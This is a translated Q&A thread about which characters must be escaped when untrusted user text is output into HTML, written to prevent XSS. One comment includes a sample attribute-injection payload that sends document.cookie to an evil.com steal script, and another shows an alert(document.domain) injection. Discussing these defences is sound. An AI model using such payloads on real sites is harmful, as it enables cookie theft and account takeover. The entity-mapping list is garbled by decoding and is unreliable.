Минимальные требования для экранирования вывода HTML

Какие символы необходимы и достаточны для экранирования пользовательского контента перед выводом? (другими словами: какие символы веб-разработчики должны избегать при выводе текста, который ранее исходил из ненадежного анонимного источника?)


person Tom    schedule 22.06.2010    source источник
comment
Похоже, что разные люди понимали вопрос по-разному. Поясню: я спрашиваю об этом из соображений безопасности.   -  person Tom    schedule 22.06.2010


Ответы (2)


При отображении на страницу вы должны кодировать

  • '&' (амперсанд) становится '&'
  • '"' (двойная кавычка) становится '"'
  • ''' (одинарная кавычка) становится '''
  • '‹' (меньше чем) становится '<'
  • '>' (больше) становится '>'

Из htmlspecialchars() документов PHP.

Обратите внимание, что контекст также имеет значение.

Вам также необходимо принять во внимание набор символов.

person alex    schedule 22.06.2010
comment
В чем причина и/или необходимость избегать кавычек? - person ChrisW; 22.06.2010
comment
В случае, если текст входит в тег ‹input›, где он помещается в атрибут value, заключенный в кавычки. - person AlexanderMP; 22.06.2010
comment
@ChrisW Я повторяю ваше имя здесь <input name="name" value="<?php echo $name; ?>">. А что, если я введу свое имя как alex" onfocus="window.location = 'http://www.evil.com/steal.php?cookie=' + encodeURI(document.cookie)? - person alex; 22.06.2010
comment
Я также рекомендую избегать всего, что не является [a-zA-Z0-9]. Браузеры смогут отображать правильно, и вам не потребуется слишком много усилий для его реализации. - person Pedro Laguna; 22.06.2010
comment
@Pedro Laguna - Если вы имеете в виду буквы с акцентом и т. Д., Почему бы не использовать его как UTF? - person ChrisW; 22.06.2010
comment
@ChrisW нет, я имею в виду: ; , . / \ + = _ - # ! и т. д. Никогда не знаешь, что найдут плохие парни, чтобы выполнить Javascript;) - person Pedro Laguna; 22.06.2010
comment
@Pedro Вы имеете в виду, что никогда не знаете, как IE можно обмануть для выполнения JavaScript ... Я имею в виду, вы видели, как был создан червь Samy? namb.la/popular/tech.html - person alex; 22.06.2010
comment
Этот ответ не то, что я хотел и не ожидал, но он самый проницательный, потому что он заставил меня понять, что вопрос неполный. Спасибо, @alex - person Tom; 22.06.2010
comment
@alex да, я читаю (и понимаю) код Samy и трюк с java\nsript. Но и в других браузерах можно найти другие приемы: sla.ckers .org/forum/read.php?24,33938,page=1 - person Pedro Laguna; 22.06.2010
comment
@Pedo Я знаю, я просто пошутил над IE :D - person alex; 22.06.2010
comment
Символов больше, все зависит от того, где на странице отображается ввод. Например, если он отображается внутри тегов JavaScript (‹script›‹/script›) или в CSS, вам придется беспокоиться о других символах. Проверьте эту ссылку (почему я не могу просто кодировать ненадежные данные в HTML-сущности?): owasp.org/index.php/ - person flpmor; 22.06.2010
comment
@Pedro Вау, я протестировал некоторые из них в своей консоли, и они работают с Firefox 3.6.3. Страшные вещи... спасибо за ссылку. - person alex; 22.06.2010
comment
@ Педро, я понимаю, что вы хотите быть осторожным, но экранирование всего за пределами [a-zA-Z0-9] оставит некоторые языки (японский, арабский и т. д.) со ВСЕМИ экранированными символами ... Это безумие, имхо. Существует 100 000 кодовых точек Unicode. Вы бы избежали ВСЕХ из них, кроме 62 из них?? Вместо этого я думаю, что вы могли бы избежать, возможно, некоторых специальных символов, таких как косая черта, если вы беспокоитесь. Но экранирование всех символов во всех незападных сценариях кажется излишним. Много. - person Stijn de Witt; 16.08.2020

Я думаю, что экранирования символов < > & " ' должно быть достаточно для любого сценария.

person AlexanderMP    schedule 22.06.2010
comment
Этих персонажей недостаточно в некоторых сценариях. Представьте себе следующий код: ‹input type=text value=asdf\ onclick=alert(document.domain); a=\› Просто убрать двойные кавычки вам не поможет :) - person Pedro Laguna; 24.06.2010
comment
ах, да, конечно, я забыл обратную косую черту. Вот об этом тогда :). - person AlexanderMP; 24.06.2010
comment
@PedroLaguna, вы почти меня поняли: если вы избежите двойных кавычек, ваш пример отобразит ‹input type=text value=asdf\ onclick=alert(document.domain); a=\› что безвредно. - person ; 26.10.2017